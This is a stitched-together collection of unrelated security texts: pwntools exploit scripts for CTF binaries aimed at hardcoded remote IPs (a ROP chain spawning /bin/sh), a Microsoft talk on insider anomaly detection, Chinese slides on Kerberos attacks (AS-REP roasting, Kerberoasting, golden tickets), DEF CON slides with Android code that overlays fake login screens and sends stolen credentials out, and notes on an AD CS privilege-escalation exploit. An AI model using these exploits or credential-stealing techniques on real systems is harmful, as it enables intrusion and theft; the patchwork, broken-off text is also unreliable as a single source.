if (map[i] == '+'){
start_y = i / s_len;
start_x = i % s_len;
}
else if (map[i] == '*')
{
end_y = i / s_len;
end_x = i % s_len;
}
}
//printf("start:%d %d\n", start_x, start_y);
walk(start_x, start_y, "");
}
from pwn import *
import math
# r = remote("81.68.174.63", 62176)
while True:
try:
r = remote("81.68.174.63", 62176)
# r = process("./pwn",aslr=True)
# gdb.attach(r,"b *$rebase(0x119389)\nc")
#context.log_level = 'debug'
no = '\xe2\xac\x9b'
yes = '\xe2\xac\x9c'
end = '\xf0\x9f\x9a\xa9'
for i in range(100):
r.recvline()
t_map = ''
for j in range(i+6):
t_map += r.recvline()
print t_map
l = len(t_map)
#print "len:", l
res = ''
i = 0
while i < l:
if t_map[i] == '\xe2':
if t_map[i+2] == '\x9b':
res += '0'
else:
res += '1'
i += 3
elif t_map[i] == '\xf0':
if t_map[i+3] == '\xa9' and t_map[i+2] == '\x9a' and
t_map[i+1] == '\x9f':
res += '*'
else:
res += '+'
i += 4
elif t_map[i] == '\x0a':
#res += '\n'
i += 1
#print len(res), math.sqrt(len(res))
s_len = int(math.sqrt(len(res)))
t_start = res.find('+')
t_end = res.find('*')
'''
print t_start, t_end
print res
result = []
for y in range(s_len):
for x in range(s_len):
if x == 0:
result.append([])
result[y].append(res[x + y * s_len])#print(result)
'''
solve = process("./dfs")
solve.sendline(res)
ans = solve.recvline()
#print ans
solve.close()
r.send(ans)
mengyedekending
cwarpper.NETbaby_Cat.dll
payload = 'A'*0x70+p64(0xc000044fd8)
payload += p64(0x20)*((272-len(payload))/8)+'\xf0\xd0'
r.sendlineafter("Leave your name:",payload)
r.recvuntil("Your name is : ")
pie = u64(r.recv(6).ljust(8,'\x00'))-0xce431
success(hex(pie))
if pie == -0xce431:
r.close()
continue
pop_rdi = 0x0000000000109d3d+pie
pop_rsi_r15 = 0x0000000000119c45+pie
pop_rax = 0x0000000000074e29+pie
syscall = 0x00000000000743c9+pie
payload = 'A'*0x70+p64(0xc000044fd8)
payload += p64(0x20)*((272-len(payload))/8)
payload +=
p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(0xc000044eb8)+p64(syscall)+"/bin/sh\x00"
r.sendlineafter("Leave your name:",payload)
r.interactive()
except:
r.close()
raw_input(">")
#coding=utf8
from pwn import *
import sys
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
docker = 0
if len(sys.argv)>1:
local = 0
# pass
if local:
if docker:
# process_name = ''
# cn = remote('',)
# libc = ELF('',checksec=False)
# bin = ELF('',checksec=False)
pass
else:
cn = remote('0',9999)
# libc = ELF('',checksec=False)
# bin = ELF('',checksec=False)
pass
pass
else:
cn = remote('111.73.46.229',51000)
# libc = ELF('',checksec=False)
# bin = ELF('',checksec=False)
pass
def z(script =''):
if not local: return
if not docker: gdb.attach(cn,gdbscript=script)
else: gdb.attach(target=process_name,gdbscript=script,exe=process_name)
if script == '': input()
rv = lambda x=0x1000 : cn.recv(x)
rl = lambda : cn.recvline()
ru = lambda x : cn.recvuntil(x)
raddr = lambda : u64(cn.recvuntil('\n')[:-1].ljust(8,b'\x00'))
raddrn = lambda x : u64(rv(x).ljust(8,b'\x00'))
sd = lambda x : cn.send(x)
sl = lambda x : cn.sendline(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
interact= lambda : cn.interactive()
ss = lambda s : success(s)
import inspect,re
def logsym(val):
for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:
m = re.search(r'\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)', line)
if m:
varname = m.group(1)
ss(f"{varname} => {hex(val)}")
else:
ss(hex(val))
############################################
ru(" : ")
leak = int(rl()[:-2],16)
logsym(leak)
pay = flat('B'*50,p8(107),p8(leak&0xff))
sla('?',pay)
sla('?','y\r')
sa('!',flat(p8(1)))
rl()
rl()
interact() | pdf |
User Profile Based
Anomaly Detection
Fighting Malicious Insider Threat at Office365
Lei He
Principal Engineering Manager, Microsoft Corporation
2019-05-30
The Context - Office365 Security Requirements
*Customer lockbox onboarding is must only for enterprise service accessing customer data.
•
Cannot use Corp identity to depoly
or access, 2FA must for access
•
OCEs need to meet clearance
expecation
•
Isolation between capacity and
control plane
•
Zero standing access and least
privelege access
•
Customer lockbox & BYOK
•
ETW-based detailed raw telemetry,
with ability to instrument new
telemetry in < 1 day
•
Centralized processing raises alerts in
< 15 minutes for security issues
•
At least 1 attack/day simulated
against service to validate
monitoring/response
•
Ability to trigger security response
workflows in < 15 minutes, and
instrument new workflow in < 1 day
•
All secrets must be stored in secure
container
•
Secrets should never leave boundary
•
Secrets should be rolled immediately
on exposure
•
Data Trustee should have full control
of secrets in soverign environment
•
All prod end point scanned every day
•
All medium and higher rated
vulnerabilitis should be patched or
exempted
•
All web apps should be scanned once
a month
•
Central reporting and tracking
Access Control
Security Monitoring
Secrets Management
Anti Virus Patching
Overview
Problem
• Compromised/Disgruntled Malicious Insiders Remain a Top Threat
• Supervised ML Detections Trained to Detect “Known” Patterns; Need Coverage for Unknown
Patterns
Solution
• User Profile Based Detection to Flag Abnormal Activities
• For O365 Data Center Security, User == DevOps
• Can be Generalized to Other Entity Profiles
O365 Data Center Monitoring
Automated Near Real Time Multi Tier Detection and Response
Vanquish Monitoring Pipeline
O(100K) machines evaluated
O(1k) users evaluated
Near real time (NRT) multi tier processing
on Spark: paging alerts in < 15 minutes
(including ML-based alerts)
Analyst Tools and Dashboards
Interactively view results in near real time
when alerted
Alerting and Automation
24 x 7, paging alerting and automated
response.
Model Feature Selection
Observation: DevOps Activities Exhibit Patterns
Logon Activities:
• Where did the user login from?
• When did the user login?
• What did the user login to?
Just In Time Elevations:
• What Elevation Role did the user request?
• Who approved the elevation request?
Actions:
• Which workflow did the user perform?
• Which processes did the user start?
• Which detections did the user trigger?
Features:
• Machines logged on to
• Machine Role
• Capacity Unit Scope
• IPs logged on from
• IPs connected to
• Other Atomic Detections Triggered
• Roles Elevated to
• Elevation Purpose
• Approver
• Time of Day
• Process and Workflow Ran
The Model
1.
Compute a complete Historical Profile for Every User
a)
Each Feature Is a List of { Value: Occurrence }
2.
Every 2 minutes, activities of the past 6-hour long user sessions are evaluated
3.
Each Current Session is compared with the user’s Historical Profile
a)
A feature similarity score is calculated for the value(s) in the session. The higher the
historical occurrence, the more similar/normal.
b)
A session Anomaly Score is generated from the similarity score of the n features.
4. A Test Dataset is curated from historical positive events to evaluate performance
5.
A Session Score threshold is set for alerting by Alert Tolerance (5 per week)
Model Tuning Workflow
Malicious != Anomalous
Model
Tuning
Was this
corroborated?
Email User in Alert
Start
Label False Positive
Improve Model
Was the activities
abnormal?
Label True Positive
End
No
Yes
No
Yes
Model Tuning Patterns
The New Team Member:
Set minimum threshold for volume of activities
Sparse Features:
Set minimum threshold of valid features
Double Counting:
Remove auto generated activities
Changing Teams:
Use team profile
Renamed Commands:
Case insensitive comparison
High Entropy Features:
Replace target machine name or IP by {Capacity
Unit, Capacity Type}
Downgrade the weight of user source IP
Downgrade free text features (elevation reason)
Model Performance
Success Metric: Paging Volume
•
Paging alerts average ~5 per week since shipped late 2018
Success Metric: Precision
• ~90% true positives (Last Month 16/18)
Types of True Positives
•
Penetration Testing
•
One Off Incident (“Break Glass”) or Audit
•
Operation Process Violation
•
DevOps Poor Practice
•
DevOps One off Testing or Experimenting
Call To Action
Apply Profile Based Anomaly Detection for Defense in Depth!
•
Start with Quality Data
•
Identify True Positives
•
Offline Analysis before Online Implementation
•
Continuous Tuning through Feedback Loop
•
Explainable Model
•
Actional Alerts
Q & A
User Profile Based Anomaly Detection
www.linkedin.com/in/lei-he-security
Lei He
[email protected] | pdf |
360 企业安全集团
Attacking Kerberos
演讲人：吴方东，n1nty @ 360 A-TEAM
2 0 1 8
吴方东，n1nty @ 360 A-TEAM
安全研究员
• 360 企业安全集团旗下的纯技术研究团队。
• 致力于 Web 渗透，APT 攻防对抗，前瞻性攻防工具预研。
• 进行严肃、有深度的技术研究，深入还原攻与防的技术本质。
360 A-TEAM
资深失眠患者
服务端验证“你是否真的是你所声称的那个人”的过程
非加密通道会导致明文密码泄露
USERNAME/PASSWORD
我要登陆，这是我的账号密码
对比账号密码
成功
失败
•
不需要传输密码本身
•
可在非加密通道使用
USER01
我要登陆
告诉我你是谁，用你的密码加密这段随机数据：
kjdfADSF435@#$ASDfd)(
我是 USER01，这是我加密后的结果：.......
结果一样，成功
结果不一样，失败
基于票据的
身份认证协议
MIT 发明
微软进行了扩展
域环境下的
首选认证协议
• 账号密码认证
• 通过向服务端发送“账号密码”来证明自己的身份
• 挑战认证
• 通过向服务端发送“一段计算结果”来证明自己的身份
• Kerberos 认证
• 通过向服务端发送一张“票”，来证明自己的身份
KDC
•
域内最重要的服务器
•
统一保存着所有账号的密码
使用人：USER01，权限：xxx
允许访问的服务：SMB/SERVER1
到期时间：2018-08-24
23:00:00
Session key
Kerberos Ticket
其他信息
KDC 印章
加密的 Kerberos 票据
KDC
•
域内最重要的服务器
•
统一保存着所有账号的密码
TGT – 访问 TGS 服务的票
普通票据 – 访问其他服务的票
TGT
普通票据
KDC
客户端访问任何
使用 Kerberos 认证的服务之前
利用 TGT 去向 KDC 换取访问目标服务
的
KDC
user01
server1
我是 user01
给我一张访问 smb\server1 的票
我是 user01，我要访问你的 smb 服务
这是证明我身份的票
KDC
1, AS-REQ
3, TGS-REQ
user01
server1
2, AS-REP
4, TGS-REP
5, AP-REQ
6, AP-REP
•
AS-REQ
•
“我是 user01，这是一段加密数据，来
证明我的身份”
•
AS-REP
•
“身份验证成功，给你一张能证明你是
user01 的票（TGT），以及对应的
Session Key”
AS-REQ
AS-REP
user01
KDC
AS-REQ
authenticator 验证因子
•
AS-REQ
•
“我是 user01，这是一段加密数据，来
证明我的身份”
•
AS-REP
•
“身份验证成功，给你一张能证明你是
user01 的票（TGT），以及对应的
Session Key”
AS-REQ
AS-REP
user01
KDC
AS-REP
加密的 TGT
加密的 Session Key
•
AS-REQ 不进行预身份认证时
•
“我是 user01，但是我不想提交 authenticator 来证明我的身份，请给我一张 TGT”
•
成功时，AS-REP
•
“ user01 账号存在，并且配置了不要求进行预身份验证”
•
失败时，KRB-ERROR
•
PREAUTH-REQUIRED
•
UNKNOWN-PRINCIPLE
AS-REQ
AS-REP
user01
KDC
AS-REQ
去掉这段数据
发送 AS-REQ 请求时不进行预身份验证
根据返回的错误码可判断用户是否存在
响应类型
结果
AS-REP 响应
账号存在
且开启了 “不要求 Kerberos 预身份验证”选项
KRB-ERROR：PREAUTH-REQUIRED
账号存在
未开启 “不要求 Kerberos 预身份验证”选项
KRB-ERROR：CLIENT-REVOKED
账号存在
但是处于锁定状态
KRB-ERROR：UNKNOWN-PRINCIPLE
账号不存在
•
AS-REQ，由客户端发送至 KDC
•
“我是 user01，我不进行预身份验证，
请给我一张 TGT”
•
AS-REP，由 KDC 返回
•
“经过检查发现 user01 被配置为不需
要进行预身份验证，这里给你返回一个
AS-REP，里面包含了你想要的 TGT，
以及与 TGT 配合使用的 session key”
enc-part(session key) 部分被 RC4 算法加密，且密钥为 user01 账号的 NT HASH
离线暴力破解 enc-part 可还原 user01 的明文密码
AS-REQ 用户枚
举
LDAP 查询
USER01
USER02
USER03
不需要预身份认证
USER01 Session Key
USER02 Session Key
USER03 Session Key
被目标账号 NT HASH
加密的Session Key
AS-REQ
USER01 Session Key
USER02 Session Key
USER03 Session Key
被目标账号 NT HASH
加密的Session Key
离线暴破
Session Key
P@ssword
1qazXSW@
111222
明文密码
•
离线暴破，不在域控留下日志
•
绕开密码锁定策略
Pass the
Hash
NTLM
Pass the Key
KERBEROS
Overpass the Hash
在没有明文密码的情况下进行 NTLM/Kerberos 身份认证
•
AS-REQ
•
“我是 user01，这是一段加密数据，来证明我的身份”
•
AS-REP
•
“身份验证成功，给你一张能证明你是 user01 的票（TGT），以及对应的 Session
Key”
AS-REQ
AS-REP
user01
KDC
加密算法
被加密数据
加密 Key
•
AS-REQ
•
“我是 user01，这是一段加密数据，来证明我的身份”
•
AS-REP
•
“身份验证成功，给你一张能证明你是 user01 的票（TGT），以及对应的 Session
Key”
AS-REQ
AS-REP
user01
KDC
加密算法
KEY
AES 256
密码的 AES 256 KEY
AES 128
密码的 AES 128 KEY
RC4
密码的 NT HASH 格式
其他很多
被加密数据为当前时间戳
•
AS-REQ
•
“我是 user01，我利用 RC4 算法并以我密码的 NT HASH 做为
KEY，加密了当前时间戳（authenticator），来证明我的身份”
•
AS-REP
•
“ 因为你利用的是 RC4 算法对 authenticator 进行加密，所以我
将同样利用 RC4 算法对 authenticator 进行解密， 并使用
user01 账号的 NT HASH 做为 解密 Key。”
•
“解密成功，发现你传送过来的时间戳与服务器的当前时间戳误差在
5 分钟以内，所以你确实是 user01，给你一张 TGT，以及对应的
Session Key”
•
AS-REQ
•
“我是 user01，这是一段加密数据，来证明我的身份”
•
AS-REP
•
“身份验证成功，给你一张能证明你是 user01 的票（TGT） ，以及对应的 Session
Key”
AS-REQ
AS-REP
user01
KDC
进行 Kerberos 验证的过程中，并没有涉及到账号的明文密码
TGS-REQ
TGS-REP
user01
KDC
•
。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT
•
TGS-REQ
•
客户端：“我是 user01，我想申请一张访问 server1 的 smb 服务的票。这是我
的 TGT，以及一段加密数据来证明我知道 与 TGT 对应的 Session key”
•
TGS-REP
•
KDC：“您的 TGT 是合法的， 并且加密数据校验成功，这是一张能够访问
server1 的 smb 服务的票（service ticket）以及 Session Key”
TGS-REQ
通过 AS-REQ 申请到的 TGT
authenticator
TGS-REQ
TGS-REP
user01
KDC
•
。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT
•
TGS-REQ
•
客户端：“我是 user01，我想申请一张访问 server1 的 smb 服务的票。这是我
的 TGT，以及一段加密数据来证明我知道 与 TGT 对应的 Session key”
•
TGS-REP
•
KDC：“您的 TGT 是合法的， 并且加密数据校验成功，这是一张能够访问
server1 的 smb 服务的票（service ticket）以及 Session Key”
TGS-REP
SPN 后门， https://adsecurity.org/?p=3466
伪造 TGT，冒充任意用户
TGS-REQ
TGS-REP
user01
KDC
•
。。。前面已经通过 AS-REQ 与 AS-REP 获取了 TGT
•
TGS-REQ
•
客户端：“我是 user01，我想申请一张访问 server1 的 smb 服务的票。这是我
的 TGT，以及一段加密数据来证明我知道 与 TGT 对应的 Session key”
•
TGS-REP
•
KDC：“您的 TGT 是合法的， 并且加密数据校验成功，这是一张能够访问
server1 的 smb 服务的票（service ticket）以及 Session Key”
KDC 是如何判断客户端提交上来的 TGT 是合法的？
使用人：USER01
允许访问的服务：
KRBTGT/EAST
到期时间：2018-08-
24 23:00:00
Session key
TGT
其他信息
KDC
印章
authenticator
加密的 Authenticator
利用 TGS-REQ 向 KDC 申请服务 Server1 SMB 服务的票
加密的 TGT
KDC
使用人：USER01
允许访问的服务：
KRBTGT/EAST
到期时间：2018-08-
24 23:00:00
Session key
TGT
其他信息
KDC
印章
authenticator
加密的 Authenticator
加密的 TGT
KDC
用 KRBTGT
Key
解密 TGT
返回访问
SMB/Server1
的票与 Session
key
• 只要 TGT 能被 KDC 利用相关算法解密
（以 KRBTGT 相关 Key 做为密钥），
则 TGT 合法
• 盗取 KRBTGT 相关 Key 即可伪造 TGT
使用人：USER01
允许访问的服务：
SMB/SERVER1
到期时间：2018-08-
24 23:00:00
Session key
Service Ticket
其他信息
KDC
印章
Session Key
KDC
返回访问
SMB/Server1
的票与 Session
key
被 SMB/Server1
服务启动账号的 NT HASH 加密
KERBEROAST - Kerberos 服务启动账号密码的离线暴破
USER01 TGT
MSSQL/SERVER
1 TICKET
HTTP/SERVER2
TICKET
KMC/SERVER3
TICKET
MSSQL/SERVER1
HTTP/SERVER2
KMC/SERVER3
SPN 查询
域内 Kerberos 服务
USER01 TGT
MSSQL/SERVER
1 TICKET
HTTP/SERVER2
TICKET
KMC/SERVER3
TICKET
离线暴破
访问域内
资源
制作白银
票据
后面再讲
•
已通过 AS-REQ & AS-REP 获得 TGT
•
已通过 TGS-REQ & TGS-REP 获得 Service ticket
1. AP-REQ
•
客户端：“我是 user01，我要访问你的 smb 服务，这是一张能够证明我身份的票
（service ticket）以及一段加密数据来证明我知道这张票所对应的 Session Key”
2. AP-REP
•
SMB 服务：“您的票是合法的， 并且加密数据校验成功。已经确定您是 user01，
可以访问”
AP-REQ
user01
CIFS/SERVER1
SMB 服务是如何验证票是否合法的？
使用人：USER01
允许访问的服务：
CIFS/SERVER1
到期时间：2018-08-
24 23:00:00
Session key
SERVICE TICKET
其他信息
KDC
印章
authenticator
加密的 Authenticator
利用 AP-REQ 访问 Server1 SMB 服务
加密的 SERVICE
TICKET
Server1
使用人：USER01
允许访问的服务：
CIFS/SERVER1
到期时间：2018-08-
24 23:00:00
Session key
SERVICE TICKET
其他信息
KDC
印章
authenticator
加密的 Authenticator
加密的 SERVICE
TICKET
用服务启动账号
Key
解密 Service
Ticket
认证成功
Server1
•
只要 Service ticket 能被目标服务利用相关算法解密（以服务
启动账号的相关 Key 做为密钥），则 Service ticket 合法
•
盗取 “服务启动账号的相关 Key” 即可伪造 Service ticket
GOLDEN TICKET
依赖 KRBTGT KEY
欺骗域内任何
使用 Kerberos 认证的服务
冒充域内任何用户
SILVER TICKET
依赖 服务启动账号 KEY
欺骗“共享同一个启动账号”的服务
冒充域内任何用户
USER01
IIS
DATABASE
GET /A.TXT
切换身份
Delegation/委派
客户端（USER01）访问服务端（IIS）时，服务端利用客户端的身份访问了其他资源
USER01
IIS
DATABASE
GET /A.TXT
切换身份
Delegation/委派
SERVER02
SERVER03
无限制委派
USER01
IIS
GET /A.TXT
切换身份
HTTP GET
/A.TXT
AP-REQ
IIS Service
Ticket
USER01
TGT.
USER01 TGT
USER02 TGT
USER03 TGT
Administrator
TGT
拥有无限制委派的服务内将缓存有所有访客的 TGT
USER01
IIS
DATABASE
GET /A.TXT
切换身份
Delegation/委派
SERVER02
SERVER03
受限制委派
变种 GOLDEN TICKET
依赖于 KRBTGT KEY
欺骗域内任何
使用 Kerberos 认证的服务
冒充域内任何用户
在域控留下更多日志
受限委派
S4U2Self
S4U2Proxy
USER01
ATEAM/TESTSERVICE
KDC
S4U2Proxy
允许委派到 TGS 服务
S4U2Self
可以以任何用户的名义
申请一张访问自身的票
以 USER01 的身份
申请 TGT（ticket 0）
使用 USER01 的 TGT，通过
TGS-REQ 配合S4U2Self 协议，
以 Administrator 的名义申请一张
访问 ATEAM/TESTSERVICE 的
票（ticket 1）
使用 USER01 的 TGT，通过
TGS-REQ 配合 S4U2Proxy 协议
并带上 ticket 1，以
Administrator 名义申请一张委派
到 TGS 服务的票（ticket 2）
AS-REQ
AS-REP
ticket 0
TGS-REQ
TGS-REP
ticket 1
TGS-REQ
TGS-REP
ticket 2
•
一张能以 Administrator 的名义访问
TGS 服务的票，就是 Administrator
的 “TGT”
•
我们通过了普通账号 USER01 拿回了
Administrator （可以是域内任何用
户） 的 TGT。
GOLDEN TICKET
依赖 KRBTGT KEY
欺骗域内任何
使用 Kerberos 认证的服务
冒充域内任何用户
攻击者手动伪造任意用户 TGT，冒充任
意用户
依赖 S4U2SELF + S4U2PROXY
获取任意用户 TGT，冒充任意用户
欺骗域内任何
使用 Kerberos 认证的服务
冒充域内任何用户
变种GOLDEN TICKET
特性滥用
360 A-TEAM
n1nty
@ | pdf |
DEF CON 19:
This is REALLY not the Droid you’re looking for…
Nicholas J. Percoco – Trustwave’s SpiderLabs
Sean Schulte – Trustwave’s SSL Team
Copyright Trustwave 2011
Agenda
•
Introductions
•
Primer / History: Android Platform Development
•
Mobile User Interface DOs and DON’Ts
•
Research Motivations
•
Research Implications
•
Demo
•
How it Works: Technical Deep Dive
•
Conclusions
Copyright Trustwave 2011
Introductions
Who are we?
Nicholas J. Percoco (c7five)
• Head of SpiderLabs at Trustwave
• Started my InfoSec career in the 90s
Sean Schulte (sirsean)
• SSL Team at Trustwave
• Backend Developer (Java & Ruby)
Copyright Trustwave 2011
Introductions
What’s this talk about?
Part II of last year’s talk…
• Focused on Kernel Level Rootkit for Android OS
• Raised awareness on the risks and implications
• Did NOT touch on anything in userland…
Copyright Trustwave 2011
Introductions
What’s this talk about?
This year…
• We focused 100% on the userland
• What “tricks” we could play using available APIs?
• Explored what Google allowed developers to do
• Discovered a Layer-7 “0day” in the process…
Copyright Trustwave 2011
Primer / History: Android Platform Dev
What is the Android OS?
• Android is a software stack for mobile devices that includes an
operating system, middleware and key applications.
• The applications consists of Java apps running on the Dalvik
VM.
• The middleware is made of C libraries including SQLite,
OpenGL, WebKit, etc.
• The kernel is Linux.
Source:
Google
Copyright Trustwave 2011
Primer / History: Android Platform Dev
How has Android evolved?
- Donut / Éclair (XX%)
-
Revamped UI (introduced slide-from-right animation between
different applications)
- Froyo (XX%)
-
Performance improvements, Wifi tethering, Flash
- Gingerbread (XX%)
-
Refined UI … No carrier cooperation, little uptake
- Honeycomb (XX%)
-
Closed source, tablet-only
Copyright Trustwave 2011
Primer / History: Android Platform Dev
How does Google release Android updates?
•
Closed development inside Google
•
Source drop at the time of binary release (sometimes later, or
never)
•
Clean, stock Android installed on “Google Experience” devices
(Nexus One, Nexus S, G2)
•
Indefinite (lengthy) waiting period while carriers and OEMs add
their customization layers
•
Carriers have little incentive to update phones they’ve already sold,
so that rarely happens
•
New agreement that carriers will support phones for 18 months … yet
to see how that works out
Copyright Trustwave 2011
Primer / History: Android Platform Dev
What is the Android Market?
•
An online software store owned by Google
•
Access the Market by using the Android Market app
•
Or the Android Market website, which can remotely install
apps on your phone
•
Currently over 200K apps available for download
•
Google does NOT review apps that are submitted
•
Google can remove BAD apps from the market
•
also a user’s device
Copyright Trustwave 2011
Primer / History: Android Platform Dev
What are some Android development terms?
•
Activities
•
Basic unit of Android apps, these are user-facing screens
•
Intents
•
A bundle of data that apps can respond to
•
Services
•
Long running processes, no UI
•
Notifications
•
Standardized way of getting the user’s attention
•
Icon appears in the top left, allows you to get more info by
opening the notifications drawer
Copyright Trustwave 2011
Mobile User Interface DOs and DON’Ts
•
Three areas of focus:
Simple
Consistent
Getting User’s Attention
Copyright Trustwave 2011
Mobile User Interface DOs and DON’Ts
•
Simple
•
User are using your app to do one thing
•
Each Activity should have a focused purpose
•
This Activity should be immediately apparent
Copyright Trustwave 2011
Mobile User Interface DOs and DON’Ts
•
Consistent
•
Re-use Activities from other apps
•
They’ll provide familiar functionality
•
You don’t need to re-invent the wheel (poorly)
Copyright Trustwave 2011
Mobile User Interface DOs and DON’Ts
•
Consistent
•
Don’t override the BACK button
•
Google’s OWN advice, but screws up their OWN apps
•
For example, Google Voice:
Copyright Trustwave 2011
Mobile User Interface DOs and DON’Ts
•
Getting User’s Attention
•
Use a Notification
•
Never display an Activity that a user DIDN’T request
•
Never display an Activity that a user DIDN’T request
•
Never display an Activity that a user DIDN’T request
•
Never display an Activity that a user DIDN’T request
•
Never display an Activity that a user DIDN’T request
•
Never display an Activity that a user DIDN’T request
Of course, this is just a BEST PRACTICE, right?
Android lets us do what ever we like…
Copyright Trustwave 2011
Research Motivations
•
Initially a side effect of other research
•
See: “Getting SSLizzard”
•
A lot of security research focuses on “breaking”
•
INPUT = MALICIOUS then OUTPUT = BAD
•
What can we do by “building” using GOOD tools?
•
INPUT = GOOD then OUTPUT = BAD?
•
Mobile often sacrifices security for screen size
•
How far can we push the user?
Copyright Trustwave 2011
Research Implications
Consider the following:
•
An attacker builds an App using approved APIs
•
Submits App to a public app market
•
App is approved (immediately) and available for download
•
User downloads App
•
App steals credentials from popular Apps:
•
Banking, Social Networking, Shopping, VPN, etc.
•
Users do NOT suspect issues with their devices
Copyright Trustwave 2011
Demo
•
What you’ll see:
•
We’ll play with “Bantha Pudu”
•
We’ll then use some popular apps
•
Our credentials will be stolen and sent to a remote
server
•
We’ll submit “Bantha Pudu” to the Android Market
•
It will be crippled so as not to upload credentials
•
You can download it and try it out
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 1: Register a Service
<service
android:name=".ImportantSystemService"
android:label="Important System Service">
<intent-filter>
<action android:name="org.android.ImportantSystemService" />
</intent-filter>
</service>
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 2: Keep the Service Running
•
Even through a Reboot
<receiver
android:name=".receiver.StartImportantSystemServiceAtBootReceiver"
android:enabled="true"
android:exported="true"
android:label="StartImportantSystemServiceAtBootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
public void onReceive(Context context, Intent intent) {
if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {
Intent serviceIntent =
new Intent("org.android.ImportantSystemService");
context.startService(serviceIntent);
}
}
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 3: Define the App you want to attack
mVictims.put("com.android.email", EmailLogin.class);
mVictims.put("com.facebook.katana", FacebookLogin.class);
mVictims.put("com.amazon.mShop.android", AmazonShopLogin.class);
mVictims.put("com.google.android.apps.googlevoice", GoogleVoiceLogin.class);
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 4: Poll for Foreground Apps
mTimer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
ActivityManager activityManager =
(ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );
List<RunningAppProcessInfo> appProcesses =
activityManager.getRunningAppProcesses();
for(RunningAppProcessInfo appProcess : appProcesses){
if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mVictims.containsKey(appProcess.processName)) {
Intent dialogIntent =
new Intent(getBaseContext(), mVictims.get(appProcess.processName));
dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(dialogIntent);
}
}
}
}
}, DELAY, INTERVAL);
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 5: Create Activity for Each Target App
•
Note their use of Title Bar / No Title Bar
requestWindowFeature(Window.FEATURE_CUSTOM_TITLE);
getWindow().setFeatureInt(
Window.FEATURE_CUSTOM_TITLE,
R.layout.login_victim1_title_bar);
requestWindowFeature(Window.FEATURE_NO_TITLE);
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 6: Override the BACK Button
@Override
public void onBackPressed() {
moveTaskToBack(true);
}
When
they
click
the
back
bu5on,
we
want
to
go
away
and
put
them
right
back
into
the
app
they’d
been
in
before
we
took
over.
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 7: Send Credentials to External Server
•
Upload using a different thread
Intent serviceIntent =
new Intent("org.android.intent.action.ADD_CREDENTIALS");
serviceIntent.putExtra("appName", "Facebook");
serviceIntent.putExtra("username", username);
serviceIntent.putExtra("password", password);
sendBroadcast(serviceIntent);
@Override
public void onReceive(Context context, Intent intent) {
final TelephonyManager tm =
(TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
String appName = intent.getStringExtra("appName");
if (appName != null) {
String username = intent.getStringExtra("username");
String password = intent.getStringExtra("password");
sendCredentials(tm.getDeviceId(), appName, username, password);
}
}
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 8: Request the Necessary Permissions
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
Copyright Trustwave 2011
How it Works: Technical Deep Dive
•
Step 9: Other Tips
•
When setting up your (attacking) Activities, use
“noHistory” so your login screens won’t show up in
the app switcher
•
android:noHistory="true"
•
Some apps resize when the soft keyboard appears,
and some don’t – you should behave the same way
•
android:windowSoftInputMode="adjustResize"
Copyright Trustwave 2011
How to Weaponize
•
Randomly show on app startup, not every time
•
Show login screen after they’ve been in the app for a while
•
Check whether the supplied credentials work
• If they do, stop showing the login screen for that app
•
Use one app as “dropper” for the malicious one
• Allow for “Service” app to be decoupled from the parent app
Copyright Trustwave 2011
Conclusions
•
Approved APIs can easily create malicious Apps
•
Not restricting developers from making certain
UI decisions is a DISASTER waiting to happen
•
What can Google do?
•
Take their Best Practices and ENFORCE them
•
Restrict developers from taking over the foreground
•
Use a specific visual animation when switching apps
•
Make it different from intra-app screen changes
•
Don’t allow developers to use this animation
Copyright Trustwave 2011
Trustwave’s SpiderLabs®
SpiderLabs is an elite team of ethical hackers at Trustwave
advancing the security capabilities of leading businesses and
organizations throughout the world.
More Information:
Web: https://www.trustwave.com/spiderlabs
Blog: http://blog.spiderlabs.com
Twitter: @SpiderLabs
Questions? | pdf |
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
1/7
漏洞原理:
默认情况下，用户模板不易受到攻击。当我们根据用户模板请求证书时，用户帐户的用户主体名称 (UPN) 将嵌入可用于识别的 SAN 中。由于 UPN 必须是唯一的，而且我们通常无
法修改 UPN，因此我们无法利用此模板。此外，由于我们无法更改证书签名请求中的 SAN 值，因此我们无法通过指定其 UPN 来模拟其他用户。
但是，计算机帐户没有 UPN。机器模板不使用 UPN 进行身份验证，而是使用机器的 DNS 名称进行识别和身份验证。当通过机器模板为机器请求证书时，AD CS 将机器的 DNS 名
称嵌入到 SAN 中，然后用于身份验证。
利用条件:
拥有一个普通的域用户权限
目标安装了AD CS
利用过程:
1. 添加机器账户
2. 删除机器账户的SPN信息(ServicePrincipalName)[不清楚ServicePrincipalName无法修改DNSHostName]，修改机器账户的DNSHostName
3. 用机器账户去申请证书，并获取Ntlm
4. DCSYNC
环境:
利用https://tryhackme.com/ 在线靶场连入openvpn进行利用
Domain:lunar.eruca.com
DC:lundc.lunar.eruca.com
CA Name:LUNAR-LUNDC-CA
Domain User:thm pwd:Password1@
准备工具：
certipy
